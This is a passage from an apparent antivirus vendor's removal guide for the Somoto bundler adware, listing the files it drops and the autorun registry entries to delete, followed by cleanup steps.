%Program Files% (x86)\XTab\ProtectService.exe (5471 bytes)
%Program Files% (x86)\XTab\web\js\js.js (18 bytes)
%Program Files% (x86)\XTab\ffsearch_toolbar!1.0.0.1025.xpi (14 bytes)
%Program Files% (x86)\XTab\web\img\default_add_logo.png (1 bytes)
%Program Files% (x86)\XTab\skin\logo.png (5 bytes)
%Program Files% (x86)\XTab\web\js\xagainit2.0.js (3 bytes)
%Program Files% (x86)\XTab\web\js\xagainit.js (3 bytes)
%Program Files% (x86)\XTab\web\img\googlelogo2.png (1526 bytes)
%Program Files% (x86)\XTab\web\main.css (19 bytes)
%Program Files% (x86)\XTab\web\_locales\vi-VI\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\_locales\ru\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\icon48.png (3 bytes)
%Program Files% (x86)\XTab\skin\close.png (3 bytes)
%Program Files% (x86)\XTab\web\data.html (20 bytes)
%Program Files% (x86)\XTab\web\img\logo32.ico (4 bytes)
%Program Files% (x86)\XTab\web\img\icon128.png (9 bytes)
%Program Files% (x86)\XTab\web\js\jquery.autocomplete.js (12 bytes)
%Program Files% (x86)\XTab\uninstall.exe (1343 bytes)
%Program Files% (x86)\XTab\skin\about.png (4 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-FR\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\img\icon16.png (628 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\settings.png (5 bytes)
%Program Files% (x86)\XTab\web\img\default_logo.png (5 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-LU\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\js\ga.js (1568 bytes)
%Program Files% (x86)\XTab\web\js\common.js (2 bytes)
%Program Files% (x86)\XTab\web\_locales\tr-TR\messages.json (4 bytes)
%Program Files% (x86)\XTab\SupTab.dll (6812 bytes)
%Program Files% (x86)\XTab\web\js\ie8.js (156 bytes)
%Program Files% (x86)\XTab\web\_locales\pt-BR\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\google_trends.png (7 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-TW\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\rigth_arrow.png (2 bytes)
%Program Files% (x86)\XTab\msvcp110.dll (17526 bytes)
%Program Files% (x86)\XTab\skin\radio_1.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspC4A6.tmp (35969 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspC4A7.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspC4A7.tmp\DCytaiesmt_smtyc_setup.exe (379403 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspC4A7.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspC4A7.tmp\FF21A5D4D8C96ED7 (34773 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspC4A7.tmp\D1989.dll (30 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe /startup"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1508.0.0.0\jsdrv.exe"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1508.0.0.0\jsdrv.exe"
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Permalink

Back to the blog

e-mail

Google+

Twitter

Facebook

Application.Bundler.Somoto.A_2140c12424

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Discover the new adaware antivirus 12

Our best antivirus yet

Application.Bundler.Somoto.A_2140c12424

E-mail

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Discover the new adaware antivirus 12

Our best antivirus yet